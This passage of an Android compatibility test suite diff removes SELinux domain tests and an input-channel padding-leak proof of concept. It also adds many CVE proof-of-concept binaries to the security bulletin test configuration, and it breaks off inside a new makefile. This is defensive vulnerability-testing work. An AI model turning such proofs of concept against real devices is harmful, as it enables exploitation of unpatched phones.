-        assertSepolicyTests("TestSysfsTypeViolations", "/sepolicy_tests");
-    }
-
-    /**
-     * Tests that all types on /vendor have the vendor_file_type attribute.
-     *
-     * @throws Exception
-     */
-    public void testVendorTypeViolators() throws Exception {
-        assertSepolicyTests("TestVendorTypeViolations", "/sepolicy_tests");
-    }
-
-    /**
-     * Tests that all domains with entrypoints on /system have the coredomain
-     * attribute, and that all domains with entrypoints on /vendor do not have the
-     * coredomain attribute.
-     *
-     * @throws Exception
-     */
-    public void testCoredomainViolators() throws Exception {
-        if (!isFullTrebleDevice()) {
-            return;
-        }
-        assertSepolicyTests("CoredomainViolations", "/treble_sepolicy_tests");
-    }
-
-   /**
-     * Tests that the policy defines no booleans (runtime conditional policy).
-     *
-     * @throws Exception
-     */
-    @CddTest(requirement="9.7")
-    public void testNoBooleans() throws Exception {
-
-        /* run sepolicy-analyze booleans check on policy file */
-        ProcessBuilder pb = new ProcessBuilder(sepolicyAnalyze.getAbsolutePath(),
-                devicePolicyFile.getAbsolutePath(), "booleans");
-        pb.redirectOutput(ProcessBuilder.Redirect.PIPE);
-        pb.redirectErrorStream(true);
-        Process p = pb.start();
-        p.waitFor();
-        BufferedReader result = new BufferedReader(new InputStreamReader(p.getInputStream()));
-        String line;
-        StringBuilder errorString = new StringBuilder();
-        while ((line = result.readLine()) != null) {
-            errorString.append(line);
-            errorString.append("\n");
-        }
-        assertTrue("The policy contained booleans:\n"
-                   + errorString, errorString.length() == 0);
-    }
-
-    /**
-     * Tests that important domain labels are being appropriately applied.
-     */
-
-    /**
-     * Asserts that no processes are running in a domain.
-     *
-     * @param domain
-     *  The domain or SELinux context to check.
-     */
-    private void assertDomainEmpty(String domain) throws DeviceNotAvailableException {
-        List<ProcessDetails> procs = ProcessDetails.getProcMap(mDevice).get(domain);
-        String msg = "Expected no processes in SELinux domain \"" + domain + "\""
-            + " Found: \"" + procs + "\"";
-        assertNull(msg, procs);
-    }
-
-    /**
-     * Asserts that a domain exists and that only one, well defined, process is
-     * running in that domain.
-     *
-     * @param domain
-     *  The domain or SELinux context to check.
-     * @param executable
-     *  The path of the executable or application package name.
-     */
-    private void assertDomainOne(String domain, String executable) throws DeviceNotAvailableException {
-        List<ProcessDetails> procs = ProcessDetails.getProcMap(mDevice).get(domain);
-        List<ProcessDetails> exeProcs = ProcessDetails.getExeMap(mDevice).get(executable);
-        String msg = "Expected 1 process in SELinux domain \"" + domain + "\""
-            + " Found \"" + procs + "\"";
-        assertNotNull(msg, procs);
-        assertEquals(msg, 1, procs.size());
-
-        msg = "Expected executable \"" + executable + "\" in SELinux domain \"" + domain + "\""
-            + "Found: \"" + procs + "\"";
-        assertEquals(msg, executable, procs.get(0).procTitle);
-
-        msg = "Expected 1 process with executable \"" + executable + "\""
-            + " Found \"" + procs + "\"";
-        assertNotNull(msg, exeProcs);
-        assertEquals(msg, 1, exeProcs.size());
-
-        msg = "Expected executable \"" + executable + "\" in SELinux domain \"" + domain + "\""
-            + "Found: \"" + procs + "\"";
-        assertEquals(msg, domain, exeProcs.get(0).label);
-    }
-
-    /**
-     * Asserts that a domain may exist. If a domain exists, the cardinality of
-     * the domain is verified to be 1 and that the correct process is running in
-     * that domain.
-     *
-     * @param domain
-     *  The domain or SELinux context to check.
-     * @param executable
-     *  The path of the executable or application package name.
-     */
-    private void assertDomainZeroOrOne(String domain, String executable)
-        throws DeviceNotAvailableException {
-        List<ProcessDetails> procs = ProcessDetails.getProcMap(mDevice).get(domain);
-        List<ProcessDetails> exeProcs = ProcessDetails.getExeMap(mDevice).get(executable);
-
-        if (procs != null) {
-            String msg = "Expected 1 process in SELinux domain \"" + domain + "\""
-            + " Found: \"" + procs + "\"";
-            assertEquals(msg, 1, procs.size());
-
-            msg = "Expected executable \"" + executable + "\" in SELinux domain \"" + domain + "\""
-                + "Found: \"" + procs.get(0) + "\"";
-            assertEquals(msg, executable, procs.get(0).procTitle);
-        }
-
-        if (exeProcs != null) {
-            String msg = "Expected 1 process with executable \"" + executable + "\""
-            + " Found: \"" + procs + "\"";
-            assertEquals(msg, 1, exeProcs.size());
-
-            msg = "Expected executable \"" + executable + "\" in SELinux domain \"" + domain + "\""
-                + "Found: \"" + procs.get(0) + "\"";
-            assertEquals(msg, domain, exeProcs.get(0).label);
-        }
-    }
-
-    /**
-     * Asserts that a domain must exist, and that the cardinality is greater
-     * than or equal to 1.
-     *
-     * @param domain
-     *  The domain or SELinux context to check.
-     * @param executables
-     *  The path of the allowed executables or application package names.
-     */
-    private void assertDomainN(String domain, String... executables)
-        throws DeviceNotAvailableException {
-        List<ProcessDetails> procs = ProcessDetails.getProcMap(mDevice).get(domain);
-        String msg = "Expected 1 or more processes in SELinux domain but found none.";
-        assertNotNull(msg, procs);
-
-        Set<String> execList = new HashSet<String>(Arrays.asList(executables));
-
-        for (ProcessDetails p : procs) {
-            msg = "Expected one of \"" + execList + "\" in SELinux domain \"" + domain + "\""
-                + " Found: \"" + p + "\"";
-            assertTrue(msg, execList.contains(p.procTitle));
-        }
-
-        for (String exe : executables) {
-            List<ProcessDetails> exeProcs = ProcessDetails.getExeMap(mDevice).get(exe);
-
-            if (exeProcs != null) {
-                for (ProcessDetails p : exeProcs) {
-                    msg = "Expected executable \"" + exe + "\" in SELinux domain \""
-                        + domain + "\"" + " Found: \"" + p + "\"";
-                    assertEquals(msg, domain, p.label);
-                }
-            }
-        }
-    }
-
-    /**
-     * Asserts that a domain, if it exists, is only running the listed executables.
-     *
-     * @param domain
-     *  The domain or SELinux context to check.
-     * @param executables
-     *  The path of the allowed executables or application package names.
-     */
-    private void assertDomainHasExecutable(String domain, String... executables)
-        throws DeviceNotAvailableException {
-        List<ProcessDetails> procs = ProcessDetails.getProcMap(mDevice).get(domain);
-
-        if (procs != null) {
-            Set<String> execList = new HashSet<String>(Arrays.asList(executables));
-
-            for (ProcessDetails p : procs) {
-                String msg = "Expected one of \"" + execList + "\" in SELinux domain \""
-                    + domain + "\"" + " Found: \"" + p + "\"";
-                assertTrue(msg, execList.contains(p.procTitle));
-            }
-        }
-    }
-
-    /**
-     * Asserts that an executable exists and is only running in the listed domains.
-     *
-     * @param executable
-     *  The path of the executable to check.
-     * @param domains
-     *  The list of allowed domains.
-     */
-    private void assertExecutableHasDomain(String executable, String... domains)
-        throws DeviceNotAvailableException {
-        List<ProcessDetails> exeProcs = ProcessDetails.getExeMap(mDevice).get(executable);
-        Set<String> domainList = new HashSet<String>(Arrays.asList(domains));
-
-        String msg = "Expected 1 or more processes for executable \"" + executable + "\".";
-        assertNotNull(msg, exeProcs);
-
-        for (ProcessDetails p : exeProcs) {
-            msg = "Expected one of  \"" + domainList + "\" for executable \"" + executable
-                    + "\"" + " Found: \"" + p.label + "\"";
-            assertTrue(msg, domainList.contains(p.label));
-        }
-    }
-
-    /* Init is always there */
-    @CddTest(requirement="9.7")
-    public void testInitDomain() throws DeviceNotAvailableException {
-        assertDomainHasExecutable("u:r:init:s0", "/init");
-        assertDomainHasExecutable("u:r:vendor_init:s0", "/init");
-        assertExecutableHasDomain("/init", "u:r:init:s0", "u:r:vendor_init:s0");
-    }
-
-    /* Ueventd is always there */
-    @CddTest(requirement="9.7")
-    public void testUeventdDomain() throws DeviceNotAvailableException {
-        assertDomainOne("u:r:ueventd:s0", "/sbin/ueventd");
-    }
-
-    /* healthd may or may not exist */
-    @CddTest(requirement="9.7")
-    public void testHealthdDomain() throws DeviceNotAvailableException {
-        assertDomainZeroOrOne("u:r:healthd:s0", "/system/bin/healthd");
-    }
-
-    /* Servicemanager is always there */
-    @CddTest(requirement="9.7")
-    public void testServicemanagerDomain() throws DeviceNotAvailableException {
-        assertDomainOne("u:r:servicemanager:s0", "/system/bin/servicemanager");
-    }
-
-    /* Vold is always there */
-    @CddTest(requirement="9.7")
-    public void testVoldDomain() throws DeviceNotAvailableException {
-        assertDomainOne("u:r:vold:s0", "/system/bin/vold");
-    }
-
-    /* netd is always there */
-    @CddTest(requirement="9.7")
-    public void testNetdDomain() throws DeviceNotAvailableException {
-        assertDomainN("u:r:netd:s0", "/system/bin/netd", "/system/bin/iptables-restore", "/system/bin/ip6tables-restore");
-    }
-
-    /* Surface flinger is always there */
-    @CddTest(requirement="9.7")
-    public void testSurfaceflingerDomain() throws DeviceNotAvailableException {
-        assertDomainOne("u:r:surfaceflinger:s0", "/system/bin/surfaceflinger");
-    }
-
-    /* Zygote is always running */
-    @CddTest(requirement="9.7")
-    public void testZygoteDomain() throws DeviceNotAvailableException {
-        assertDomainN("u:r:zygote:s0", "zygote", "zygote64");
-    }
-
-    /* Checks drmserver for devices that require it */
-    @CddTest(requirement="9.7")
-    public void testDrmServerDomain() throws DeviceNotAvailableException {
-        assertDomainZeroOrOne("u:r:drmserver:s0", "/system/bin/drmserver");
-    }
-
-    /* Installd is always running */
-    @CddTest(requirement="9.7")
-    public void testInstalldDomain() throws DeviceNotAvailableException {
-        assertDomainOne("u:r:installd:s0", "/system/bin/installd");
-    }
-
-    /* keystore is always running */
-    @CddTest(requirement="9.7")
-    public void testKeystoreDomain() throws DeviceNotAvailableException {
-        assertDomainOne("u:r:keystore:s0", "/system/bin/keystore");
-    }
-
-    /* System server better be running :-P */
-    @CddTest(requirement="9.7")
-    public void testSystemServerDomain() throws DeviceNotAvailableException {
-        assertDomainOne("u:r:system_server:s0", "system_server");
-    }
-
-    /* Watchdogd may or may not be there */
-    @CddTest(requirement="9.7")
-    public void testWatchdogdDomain() throws DeviceNotAvailableException {
-        assertDomainZeroOrOne("u:r:watchdogd:s0", "/sbin/watchdogd");
-    }
-
-    /* logd may or may not be there */
-    @CddTest(requirement="9.7")
-    public void testLogdDomain() throws DeviceNotAvailableException {
-        assertDomainZeroOrOne("u:r:logd:s0", "/system/bin/logd");
-    }
-
-    /* lmkd may or may not be there */
-    @CddTest(requirement="9.7")
-    public void testLmkdDomain() throws DeviceNotAvailableException {
-        assertDomainZeroOrOne("u:r:lmkd:s0", "/system/bin/lmkd");
-    }
-
-    /* Wifi may be off so cardinality of 0 or 1 is ok */
-    @CddTest(requirement="9.7")
-    public void testWpaDomain() throws DeviceNotAvailableException {
-        assertDomainZeroOrOne("u:r:wpa:s0", "/system/bin/wpa_supplicant");
-    }
-
-    /*
-     * Nothing should be running in this domain, cardinality test is all thats
-     * needed
-     */
-    @CddTest(requirement="9.7")
-    public void testInitShellDomain() throws DeviceNotAvailableException {
-        assertDomainEmpty("u:r:init_shell:s0");
-    }
-
-    /*
-     * Nothing should be running in this domain, cardinality test is all thats
-     * needed
-     */
-    @CddTest(requirement="9.7")
-    public void testRecoveryDomain() throws DeviceNotAvailableException {
-        assertDomainEmpty("u:r:recovery:s0");
-    }
-
-    /*
-     * Nothing should be running in this domain, cardinality test is all thats
-     * needed
-     */
-    @CddTest(requirement="9.7")
-    @RestrictedBuildTest
-    public void testSuDomain() throws DeviceNotAvailableException {
-        assertDomainEmpty("u:r:su:s0");
-    }
-
-    /*
-     * All kthreads should be in kernel context.
-     */
-    @CddTest(requirement="9.7")
-    public void testKernelDomain() throws DeviceNotAvailableException {
-        String domain = "u:r:kernel:s0";
-        List<ProcessDetails> procs = ProcessDetails.getProcMap(mDevice).get(domain);
-        if (procs != null) {
-            for (ProcessDetails p : procs) {
-                assertTrue("Non Kernel thread \"" + p + "\" found!", p.isKernel());
-            }
-        }
-    }
-
-    private static class ProcessDetails {
-        public String label;
-        public String user;
-        public int pid;
-        public int ppid;
-        public String procTitle;
-
-        private static HashMap<String, ArrayList<ProcessDetails>> procMap;
-        private static HashMap<String, ArrayList<ProcessDetails>> exeMap;
-        private static int kernelParentThreadpid = -1;
-
-        ProcessDetails(String label, String user, int pid, int ppid, String procTitle) {
-            this.label = label;
-            this.user = user;
-            this.pid = pid;
-            this.ppid = ppid;
-            this.procTitle = procTitle;
-        }
-
-        @Override
-        public String toString() {
-            return "label: " + label
-                    + " user: " + user
-                    + " pid: " + pid
-                    + " ppid: " + ppid
-                    + " cmd: " + procTitle;
-        }
-
-
-        private static void createProcMap(ITestDevice tDevice) throws DeviceNotAvailableException {
-
-            /* take the output of a ps -Z to do our analysis */
-            CollectingOutputReceiver psOut = new CollectingOutputReceiver();
-            // TODO: remove "toybox" below and just run "ps"
-            tDevice.executeShellCommand("toybox ps -A -o label,user,pid,ppid,cmdline", psOut);
-            String psOutString = psOut.getOutput();
-            Pattern p = Pattern.compile(
-                    "^([\\w_:]+)\\s+([\\w_]+)\\s+(\\d+)\\s+(\\d+)\\s+(\\p{Graph}+)(\\s\\p{Graph}+)*\\s*$",
-                    Pattern.MULTILINE);
-            Matcher m = p.matcher(psOutString);
-            procMap = new HashMap<String, ArrayList<ProcessDetails>>();
-            exeMap = new HashMap<String, ArrayList<ProcessDetails>>();
-            while(m.find()) {
-                String domainLabel = m.group(1);
-                String user = m.group(2);
-                int pid = Integer.parseInt(m.group(3));
-                int ppid = Integer.parseInt(m.group(4));
-                String procTitle = m.group(5);
-                ProcessDetails proc = new ProcessDetails(domainLabel, user, pid, ppid, procTitle);
-                if (procMap.get(domainLabel) == null) {
-                    procMap.put(domainLabel, new ArrayList<ProcessDetails>());
-                }
-                procMap.get(domainLabel).add(proc);
-                if (procTitle.equals("[kthreadd]") && ppid == 0) {
-                    kernelParentThreadpid = pid;
-                }
-                if (exeMap.get(procTitle) == null) {
-                    exeMap.put(procTitle, new ArrayList<ProcessDetails>());
-                }
-                exeMap.get(procTitle).add(proc);
-            }
-        }
-
-        public static HashMap<String, ArrayList<ProcessDetails>> getProcMap(ITestDevice tDevice)
-                throws DeviceNotAvailableException{
-            if (procMap == null) {
-                createProcMap(tDevice);
-            }
-            return procMap;
-        }
-
-        public static HashMap<String, ArrayList<ProcessDetails>> getExeMap(ITestDevice tDevice)
-                throws DeviceNotAvailableException{
-            if (exeMap == null) {
-                createProcMap(tDevice);
-            }
-            return exeMap;
-        }
-
-        public boolean isKernel() {
-            return (pid == kernelParentThreadpid || ppid == kernelParentThreadpid);
-        }
-    }
-}
diff --git a/hostsidetests/securitybulletin/Android.mk b/hostsidetests/securitybulletin/Android.mk
index a07fbbd..fc814a5 100644
--- a/hostsidetests/securitybulletin/Android.mk
+++ b/hostsidetests/securitybulletin/Android.mk
@@ -23,7 +23,7 @@
 LOCAL_MODULE_TAGS := optional
 
 # tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests sts
 
 # Must match the package name in CtsTestCaseList.mk
 LOCAL_MODULE := CtsSecurityBulletinHostTestCases
diff --git a/hostsidetests/securitybulletin/AndroidTest.xml b/hostsidetests/securitybulletin/AndroidTest.xml
index 5f8f0e2..1752691 100644
--- a/hostsidetests/securitybulletin/AndroidTest.xml
+++ b/hostsidetests/securitybulletin/AndroidTest.xml
@@ -39,6 +39,7 @@
 
         <!-- Bulletin 2016-04 -->
         <!-- Please add tests solely from this bulletin below to avoid merge conflict -->
+        <option name="push" value="CVE-2016-2412->/data/local/tmp/CVE-2016-2412" />
         <option name="push" value="CVE-2016-0844->/data/local/tmp/CVE-2016-0844" />
         <option name="push" value="CVE-2016-2419->/data/local/tmp/CVE-2016-2419" />
 
@@ -46,10 +47,17 @@
         <!-- Bulletin 2016-05 -->
         <!-- Please add tests solely from this bulletin below to avoid merge conflict -->
         <option name="push" value="CVE-2016-2460->/data/local/tmp/CVE-2016-2460" />
+        <option name="push" value="CVE-2015-1805->/data/local/tmp/CVE-2015-1805" />
+
+        <!--__________________-->
+        <!-- Bulletin 2016-06 -->
+        <!-- Please add tests solely from this bulletin below to avoid merge conflict -->
 
         <!--__________________-->
         <!-- Bulletin 2016-07 -->
         <!-- Please add tests solely from this bulletin below to avoid merge conflict -->
+        <option name="push" value="CVE-2014-9803->/data/local/tmp/CVE-2014-9803" />
+        <option name="push" value="CVE-2016-3746->/data/local/tmp/CVE-2016-3746" />
         <option name="push" value="CVE-2016-3818->/data/local/tmp/CVE-2016-3818" />
 
         <!-- Bulletin 2016-09 -->
@@ -59,10 +67,12 @@
         <!--__________________-->
         <!-- Bulletin 2016-10 -->
         <!-- Please add tests solely from this bulletin below to avoid merge conflict -->
+        <option name="push" value="CVE-2016-3913->/data/local/tmp/CVE-2016-3913" />
 
         <!--__________________-->
         <!-- Bulletin 2016-11 -->
         <!-- Please add tests solely from this bulletin below to avoid merge conflict -->
+        <option name="push" value="CVE-2012-6702->/data/local/tmp/CVE-2012-6702" />
 
         <!--__________________-->
         <!-- Bulletin 2016-12 -->
@@ -71,15 +81,18 @@
         <!--__________________-->
         <!-- Bulletin 2017-01 -->
         <!-- Please add tests solely from this bulletin below to avoid merge conflict -->
+        <option name="push" value="CVE-2017-0386->/data/local/tmp/CVE-2017-0386" />
 
         <!--__________________-->
         <!-- Bulletin 2017-02 -->
         <!-- Please add tests solely from this bulletin below to avoid merge conflict -->
+        <option name="push" value="CVE-2017-0415->/data/local/tmp/CVE-2017-0415" />
         <option name="push" value="CVE-2017-0426->/data/local/tmp/CVE-2017-0426" />
 
         <!--__________________-->
         <!-- Bulletin 2017-03 -->
         <!-- Please add tests solely from this bulletin below to avoid merge conflict -->
+        <option name="push" value="CVE-2017-0477->/data/local/tmp/CVE-2017-0477" />
         <option name="push" value="CVE-2017-0479->/data/local/tmp/CVE-2017-0479" />
         <option name="push" value="CVE-2017-0334->/data/local/tmp/CVE-2017-0334" />
         <option name="push" value="CVE-2016-8479->/data/local/tmp/CVE-2016-8479" />
@@ -135,6 +148,7 @@
         <!--__________________-->
         <!-- Bulletin 2018-02 -->
         <!-- Please add tests solely from this bulletin below to avoid merge conflict -->
+        <option name="push" value="CVE-2017-13273->/data/local/tmp/CVE-2017-13273" />
         <option name="push" value="CVE-2017-13232->/data/local/tmp/CVE-2017-13232" />
 
         <!--__________________-->
@@ -143,15 +157,51 @@
         <option name="push" value="CVE-2017-13253->/data/local/tmp/CVE-2017-13253" />
 
         <!--__________________-->
+        <!-- Bulletin 2018-06 -->
+        <!-- Please add tests solely from this bulletin below to avoid merge conflict -->
+        <option name="push" value="CVE-2018-9344->/data/local/tmp/CVE-2018-9344" />
+
+        <!--__________________-->
+        <!-- Bulletin 2018-07 -->
+        <!-- Please add tests solely from this bulletin below to avoid merge conflict -->
+        <option name="push" value="CVE-2018-9424->/data/local/tmp/CVE-2018-9424" />
+
+        <!--__________________-->
+        <!-- Bulletin 2018-10 -->
+        <!-- Please add tests solely from this bulletin below to avoid merge conflict -->
+        <option name="push" value="CVE-2018-9490->/data/local/tmp/CVE-2018-9490" />
+        <option name="push" value="CVE-2018-9515->/data/local/tmp/CVE-2018-9515" />
+
+        <!--__________________-->
+        <!-- Bulletin 2018-11 -->
+        <!-- Please add tests solely from this bulletin below to avoid merge conflict -->
+        <option name="push" value="CVE-2018-9539->/data/local/tmp/CVE-2018-9539" />
+
+        <!--__________________-->
         <!-- Bulletin 2019-03 -->
         <!-- Please add tests solely from this bulletin below to avoid merge conflict -->
         <option name="push" value="Bug-115739809->/data/local/tmp/Bug-115739809" />
 
+        <!--__________________-->
+        <!-- Bulletin 2019-05 -->
+        <!-- Please add tests solely from this bulletin below to avoid merge conflict -->
+        <option name="push" value="CVE-2019-2054->/data/local/tmp/CVE-2019-2054" />
+
         <option name="append-bitness" value="true" />
     </target_preparer>
 
+    <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
+        <option name="cleanup-apks" value="true" />
+        <option name="test-file-name" value="CtsHostLaunchAnyWhereApp.apk" />
+    </target_preparer>
+
+    <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
+        <option name="cleanup-apks" value="true" />
+        <option name="test-file-name" value="OomCatcher.apk" />
+    </target_preparer>
+
     <test class="com.android.compatibility.common.tradefed.testtype.JarHostTest" >
         <option name="jar" value="CtsSecurityBulletinHostTestCases.jar" />
-        <option name="runtime-hint" value="8m40s" />
+        <option name="runtime-hint" value="18m26s" />
     </test>
 </configuration>
diff --git a/hostsidetests/securitybulletin/res/CVE-2017-0477.gif b/hostsidetests/securitybulletin/res/CVE-2017-0477.gif
new file mode 100644
index 0000000..67bd51f
--- /dev/null
+++ b/hostsidetests/securitybulletin/res/CVE-2017-0477.gif
Binary files differ
diff --git a/hostsidetests/securitybulletin/res/CVE-2017-0647.zip b/hostsidetests/securitybulletin/res/CVE-2017-0647.zip
new file mode 100644
index 0000000..e01eaf4
--- /dev/null
+++ b/hostsidetests/securitybulletin/res/CVE-2017-0647.zip
Binary files differ
diff --git a/hostsidetests/securitybulletin/securityPatch/Bug-115739809/Android.mk b/hostsidetests/securitybulletin/securityPatch/Bug-115739809/Android.mk
deleted file mode 100755
index cd2dbcd..0000000
--- a/hostsidetests/securitybulletin/securityPatch/Bug-115739809/Android.mk
+++ /dev/null
@@ -1,38 +0,0 @@
-# Copyright (C) 2018 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH := $(call my-dir)
-
-include $(CLEAR_VARS)
-LOCAL_MODULE := Bug-115739809
-LOCAL_SRC_FILES := poc.cpp
-LOCAL_MULTILIB := both
-LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
-LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
-
-LOCAL_SHARED_LIBRARIES := \
-        libbase \
-        libinput \
-        libutils \
-        liblog
-
-# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts sts vts
-LOCAL_CTS_TEST_PACKAGE := android.security.cts
-
-LOCAL_ARM_MODE := arm
-LOCAL_CPPFLAGS += -Wall -Werror -Wextra
-LOCAL_LDFLAGS += -fPIE -pie
-LOCAL_LDFLAGS += -rdynamic
-include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/securitybulletin/securityPatch/Bug-115739809/poc.cpp b/hostsidetests/securitybulletin/securityPatch/Bug-115739809/poc.cpp
deleted file mode 100755
index 54e70cb..0000000
--- a/hostsidetests/securitybulletin/securityPatch/Bug-115739809/poc.cpp
+++ /dev/null
@@ -1,209 +0,0 @@
-/**
-* Copyright (C) 2018 The Android Open Source Project
-*
-* Licensed under the Apache License, Version 2.0 (the "License");
-* you may not use this file except in compliance with the License.
-* You may obtain a copy of the License at
-*
-*      http://www.apache.org/licenses/LICENSE-2.0
-*
-* Unless required by applicable law or agreed to in writing, software
-* distributed under the License is distributed on an "AS IS" BASIS,
-* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-* See the License for the specific language governing permissions and
-* limitations under the License.
-*/
-
-#define LOG_TAG "InputChannelTest"
-
-#include "../includes/common.h"
-
-#include <android-base/stringprintf.h>
-#include <input/InputTransport.h>
-
-using namespace android;
-using android::base::StringPrintf;
-
-static std::string memoryAsHexString(const void* const address, size_t numBytes) {
-    std::string str;
-    for (size_t i = 0; i < numBytes; i++) {
-        str += StringPrintf("%02X ", static_cast<const uint8_t* const>(address)[i]);
-    }
-    return str;
-}
-
-/**
- * There could be non-zero bytes in-between InputMessage fields. Force-initialize the entire
- * memory to zero, then only copy the valid bytes on a per-field basis.
- * Input: message msg
- * Output: cleaned message outMsg
- */
-static void sanitizeMessage(const InputMessage& msg, InputMessage* outMsg) {
-    memset(outMsg, 0, sizeof(*outMsg));
-
-    // Write the header
-    outMsg->header.type = msg.header.type;
-
-    // Write the body
-    switch(msg.header.type) {
-        case InputMessage::TYPE_KEY: {
-            // uint32_t seq
-            outMsg->body.key.seq = msg.body.key.seq;
-            // nsecs_t eventTime
-            outMsg->body.key.eventTime = msg.body.key.eventTime;
-            // int32_t deviceId
-            outMsg->body.key.deviceId = msg.body.key.deviceId;
-            // int32_t source
-            outMsg->body.key.source = msg.body.key.source;
-            // int32_t displayId
-            outMsg->body.key.displayId = msg.body.key.displayId;
-            // int32_t action
-            outMsg->body.key.action = msg.body.key.action;
-            // int32_t flags
-            outMsg->body.key.flags = msg.body.key.flags;
-            // int32_t keyCode
-            outMsg->body.key.keyCode = msg.body.key.keyCode;
-            // int32_t scanCode
-            outMsg->body.key.scanCode = msg.body.key.scanCode;
-            // int32_t metaState
-            outMsg->body.key.metaState = msg.body.key.metaState;
-            // int32_t repeatCount
-            outMsg->body.key.repeatCount = msg.body.key.repeatCount;
-            // nsecs_t downTime
-            outMsg->body.key.downTime = msg.body.key.downTime;
-            break;
-        }
-        case InputMessage::TYPE_MOTION: {
-            // uint32_t seq
-            outMsg->body.motion.seq = msg.body.motion.seq;
-            // nsecs_t eventTime
-            outMsg->body.motion.eventTime = msg.body.motion.eventTime;
-            // int32_t deviceId
-            outMsg->body.motion.deviceId = msg.body.motion.deviceId;
-            // int32_t source
-            outMsg->body.motion.source = msg.body.motion.source;
-            // int32_t displayId
-            outMsg->body.motion.displayId = msg.body.motion.displayId;
-            // int32_t action
-            outMsg->body.motion.action = msg.body.motion.action;
-            // int32_t actionButton
-            outMsg->body.motion.actionButton = msg.body.motion.actionButton;
-            // int32_t flags
-            outMsg->body.motion.flags = msg.body.motion.flags;
-            // int32_t metaState
-            outMsg->body.motion.metaState = msg.body.motion.metaState;
-            // int32_t buttonState
-            outMsg->body.motion.buttonState = msg.body.motion.buttonState;
-            // int32_t edgeFlags
-            outMsg->body.motion.edgeFlags = msg.body.motion.edgeFlags;
-            // nsecs_t downTime
-            outMsg->body.motion.downTime = msg.body.motion.downTime;
-            // float xOffset
-            outMsg->body.motion.xOffset = msg.body.motion.xOffset;
-            // float yOffset
-            outMsg->body.motion.yOffset = msg.body.motion.yOffset;
-            // float xPrecision
-            outMsg->body.motion.xPrecision = msg.body.motion.xPrecision;
-            // float yPrecision
-            outMsg->body.motion.yPrecision = msg.body.motion.yPrecision;
-            // uint32_t pointerCount
-            outMsg->body.motion.pointerCount = msg.body.motion.pointerCount;
-            //struct Pointer pointers[MAX_POINTERS]
-            for (size_t i = 0; i < msg.body.motion.pointerCount; i++) {
-                // PointerProperties properties
-                outMsg->body.motion.pointers[i].properties.id =
-                        msg.body.motion.pointers[i].properties.id;
-                outMsg->body.motion.pointers[i].properties.toolType =
-                        msg.body.motion.pointers[i].properties.toolType;
-                // PointerCoords coords
-                outMsg->body.motion.pointers[i].coords.bits =
-                        msg.body.motion.pointers[i].coords.bits;
-                const uint32_t count = BitSet64::count(msg.body.motion.pointers[i].coords.bits);
-                memcpy(&outMsg->body.motion.pointers[i].coords.values[0],
-                        &msg.body.motion.pointers[i].coords.values[0],
-                        count * sizeof(msg.body.motion.pointers[i].coords.values[0]));
-            }
-            break;
-        }
-        case InputMessage::TYPE_FINISHED: {
-            outMsg->body.finished.seq = msg.body.finished.seq;
-            outMsg->body.finished.handled = msg.body.finished.handled;
-            break;
-        }
-    }
-}
-
-/**
- * Return false if vulnerability is found for a given message type
- */
-static bool checkMessage(sp<InputChannel> server, sp<InputChannel> client, int type) {
-    InputMessage serverMsg;
-    // Set all potentially uninitialized bytes to 1, for easier comparison
-
-    memset(&serverMsg, 1, sizeof(serverMsg));
-    serverMsg.header.type = type;
-    if (type == InputMessage::TYPE_MOTION) {
-        serverMsg.body.motion.pointerCount = MAX_POINTERS;
-    }
-    status_t result = server->sendMessage(&serverMsg);
-    if (result != OK) {
-        ALOGE("Could not send message to the input channel");
-        return false;
-    }
-
-    InputMessage clientMsg;
-    result = client->receiveMessage(&clientMsg);
-    if (result != OK) {
-        ALOGE("Could not receive message from the input channel");
-        return false;
-    }
-    if (serverMsg.header.type != clientMsg.header.type) {
-        ALOGE("Types do not match");
-        return false;
-    }
-
-    if (clientMsg.header.padding != 0) {
-        ALOGE("Found padding to be uninitialized");
-        return false;
-    }
-
-    InputMessage sanitizedClientMsg;
-    sanitizeMessage(clientMsg, &sanitizedClientMsg);
-    if (memcmp(&clientMsg, &sanitizedClientMsg, clientMsg.size()) != 0) {
-        ALOGE("Client received un-sanitized message");
-        ALOGE("Received message: %s", memoryAsHexString(&clientMsg, clientMsg.size()).c_str());
-        ALOGE("Expected message: %s",
-                memoryAsHexString(&sanitizedClientMsg, clientMsg.size()).c_str());
-        return false;
-    }
-
-    return true;
-}
-
-/**
- * Create an unsanitized message
- * Send
- * Receive
- * Compare the received message to a sanitized expected message
- * Do this for all message types
- */
-int main() {
-    sp<InputChannel> server, client;
-
-    status_t result = InputChannel::openInputChannelPair(String8("channel name").string(), server, client);
-    if (result != OK) {
-        ALOGE("Could not open input channel pair");
-        return 0;
-    }
-
-    int types[] = {InputMessage::TYPE_KEY, InputMessage::TYPE_MOTION, InputMessage::TYPE_FINISHED};
-    for (int type : types) {
-        bool success = checkMessage(server, client, type);
-        if (!success) {
-            ALOGE("Check message failed for type %i", type);
-            return EXIT_VULNERABLE;
-        }
-    }
-
-    return 0;
-}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2012-6702/Android.mk b/hostsidetests/securitybulletin/securityPatch/CVE-2012-6702/Android.mk
new file mode 100644
index 0000000..dede1c7
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2012-6702/Android.mk
@@ -0,0 +1,39 @@
+# Copyright (C) 2018 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
